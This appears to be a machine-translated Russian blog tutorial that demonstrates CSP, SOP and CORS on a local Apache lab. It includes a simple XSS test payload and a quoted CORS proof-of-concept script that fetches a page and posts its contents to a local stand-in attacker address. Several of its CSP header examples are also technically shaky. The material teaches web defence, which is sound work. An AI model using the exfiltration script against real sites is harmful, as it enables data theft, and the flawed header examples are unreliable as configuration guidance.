Всем привет! Чтобы понять SOP, CORS и CSP, я потратил несколько часов на реализацию всего этого с помощью простого HTML-кода, работающего поверх httpd.
. Мотивация, стоящая за этой записью в блоге, состоит в том, чтобы обобщить эти концепции на понятном языке для начинающих, специалистов по безопасности и разработчиков.
Лабораторная установка
Прежде чем мы начнем, позвольте мне объяснить настройку лаборатории. Я размещаю этот код на localhost:8080
через httpd
.
<html> <body> <h1>It works!</h1> <img src="https://www.w3schools.com/images/lamp.jpg" alt="Lamp" width="32" height="32"> </body> </html>
Понимание необходимости CSP
Если вы внимательно посмотрите на код, то заметите, что я пытаюсь загрузить изображение из внешнего источника.
https://www.w3schools.com/images/lamp.jpg
Идея заключается в том, чтобы показать, как именно внешние ресурсы могут быть разрешены / заблокированы или контролируемы (изображение — это просто пример, это может быть что угодно, например скрипт). Для этого я собираюсь использовать CSP (Content Security Policy).
Итак, теперь давайте посмотрим, что я хочу ограничить свое приложение и не хочу ничего загружать с https://www.w3schools.com. Я могу перейти на
/usr/local/etc/httpd/httpd.conf
Затем добавьте следующее в файл конфигурации (не забудьте включить a2enmod headers
) просто запустите эту команду в bash, и она активирует модули.
<IfModule headers_module> Header set Content-Security-Policy: "default-src" </IfModule>
Далее я хочу проверить, правильно ли написана моя конфигурация, чтобы мы могли сделать это с помощью apachectl -t
. Это по существу анализирует синтаксис и убеждается, что все в порядке!.
Теперь мы можем перезапустить сервер, чтобы увидеть изменения sudo /usr/local/bin/apachectl restart
.
Как и ожидалось, изображение исчезло.
Для создания более сложных правил CSP можно использовать https://report-uri.com/home/generate
Теперь давайте добавим еще одно изображение в источник и будем контролировать загрузку только для определенного ресурса. Итак, новый источник выглядит примерно так
<html> <body> <h1>It works!</h1> <img src="https://www.w3schools.com/images/lamp.jpg" alt="Lamp" width="32" height="32"> <img src="https://www.google.com/images/branding/googlelogo/2x/googlelogo_light_color_272x92dp.png alt="Google" width="32" height="32"> </body> </html>
Теперь я заблокирую google.com
и разрешу только w3schools.com
, обновив правила в файле конфигурации, как показано ниже, чтобы упростить задачу, я буду использовать Report-URI для создания правила.
<IfModule headers_module> Header set Content-Security-Policy: "media-src 'https://www.w3schools.com';" </IfModule>
И, как и ожидалось, это работает! Обратите внимание, что указание субдоменов здесь также будет работать, поэтому допустимо что-то вроде
*.w3schools.com
.
Таким образом, мы можем сделать вывод, что CSP можно использовать, чтобы позволить доверенным доменам запускать сценарии, загружать изображения, сценарии и т. д. Но это просто говорит мне, как насчет показать мне?
Межсайтовый скриптинг и его исправление без нарушения работы приложения
Чтобы сделать быстрый POC, я использовал https://github.com/cak/XSS-Challenge от @Optionalvalue.
Я буду использовать следующую полезную нагрузку для запуска XSS <x onclick=alert(1)>click this!
Теперь исправим это с помощью CSP и постараемся не сломать приложение. Для этого я обновил конфигурацию до следующей (не используйте
unsafe-inline
).
Header Set Content-Security-Policy: "script-src http://localhost:8080/XSS-Challenge/js/index.js ;"
Этот патч ни в коем случае не является исправлением производственного уровня, но идея этого блога состоит в том, чтобы понять, как работает CSP и как он предотвращает XSS.
Этот небольшой POC показывает, насколько сложной может быть правильная реализация CSP. У меня был только один index.js
, поэтому мне было очень легко разрешить его, но для рабочего приложения вы можете посмотреть, в каких доменах есть эти сценарии, и разрешить их соответствующим образом.
Подробнее о CSP можно прочитать здесь
СОП и КОРС
Теперь, когда мы понимаем, что такое CSP, я чувствую, что имеет смысл перейти и понять, что такое SOP и CORS и чем они отличаются (часто люди ошибочно принимают их за одно).
Чтобы показать это, я снова возьму тот же пример приложения, развернутого ниже, теперь давайте посмотрим, как внешнее приложение хочет получить данные из приложения-лампы. Что мешает? SOP (такая же политика происхождения), как всегда, давайте проверим это.
Я собираюсь получить данные приложения на другой вкладке с помощью следующего кода и посмотреть, что произойдет.
С уважением, я получил код из этого отчета. Спасибо Рохан Аггарвал.
<!DOCTYPE html> <html> <body> <center> <h2>CORS PoC</h2> <html> <body> <button type='button' onclick='cors()'>Exploit</button> <p id='demo'></p> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { var a = this.responseText; // Sensitive data from niche.co about user account document.getElementById("demo").innerHTML = a; xhttp.open("POST", "http://localhost:1337", true);// Sending that data to Attacker's website //xhttp.withCredentials = true; console.log(a); xhttp.send("data="+a); } }; xhttp.open("GET", "http://localhost:8080/", true); //xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html>
Теперь попробуем получить данные по localhost:1337
через python -m server.http 1337
(чтобы посмотреть на фоновые вызовы).
Как и предполагалось, это не работает, глядя на ошибку, ясно, что это связано с «такой же политикой происхождения», так что же можно сделать? «Совместное использование ресурсов между источниками», которое действует как способ ослабить политику SOP. Давайте добавим localhost
в белый список, добавив Header Set Access-Control-Allow-Origin “localhost”
в httpd.conf
.
<IfModule headers_module> Header Set Access-Control-Allow-Origin "localhost" </IfModule>
К сожалению, это не сработало, потому что мы не указали правильный URL-адрес, поэтому давайте попробуем с чрезмерно разрешающим подстановочным знаком.
Вот так сейчас выглядит конфиг
<IfModule headers_module> Header Set Access-Control-Allow-Origin "*" </IfModule>
В идеале никогда не рекомендуется использовать *
, и всегда следует указывать надлежащий источник JS, поскольку источник управления доступом, разрешающий источник, также ожидает протокол и порт, поэтому настоятельно рекомендуется учитывать это. Проще говоря, https://test.com
в данном случае не то же самое, что https://test.com:443
.
Дополнительную информацию можно найти здесь.
В завершение блога
Я хочу контролировать загрузку моего веб-сайта? CSP.
Я хочу контролировать, что считывается с моего веб-сайта? СОП/КОРС.
Спасибо за чтение!